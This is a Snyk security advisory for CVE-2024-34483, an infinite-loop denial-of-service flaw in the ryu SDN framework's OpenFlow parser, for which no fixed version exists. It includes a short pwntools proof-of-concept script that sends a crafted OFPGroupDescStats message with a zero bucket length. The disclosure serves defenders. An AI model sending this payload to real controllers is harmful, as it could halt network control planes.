Infinite Loop Affecting ryu package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-RYU-6809229
  • published6 May 2024
  • disclosed5 May 2024
  • creditErodedElk

Introduced: 5 May 2024

CVE-2024-34483  (opens in a new tab)
CWE-835  (opens in a new tab)

How to fix?

There is no fixed version for ryu.

Overview

ryu is a Component-based Software-defined Networking Framework

Affected versions of this package are vulnerable to Infinite Loop due to the improper handling of OFPGroupDescStats in *parser.py. An attacker can trigger an infinite loop by setting OFPBucket.len to 0.

PoC

from pwn import *
p=remote("0.0.0.0",6633)
brk=b"\x04\x13\x00\x38\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00"
brk+=b"\x00\x28\x00\x00"
brk+=b"\x00\x00\x00\x00"
bucket="00000001ffffffffffffffff000000000000001000000001ffe5000000000000"
# brk+=bytes.fromhex(bucket)
brk+=bytes.fromhex(bucket)
p.send(brk)
p.interactive()

References

CVSS Scores

version 3.1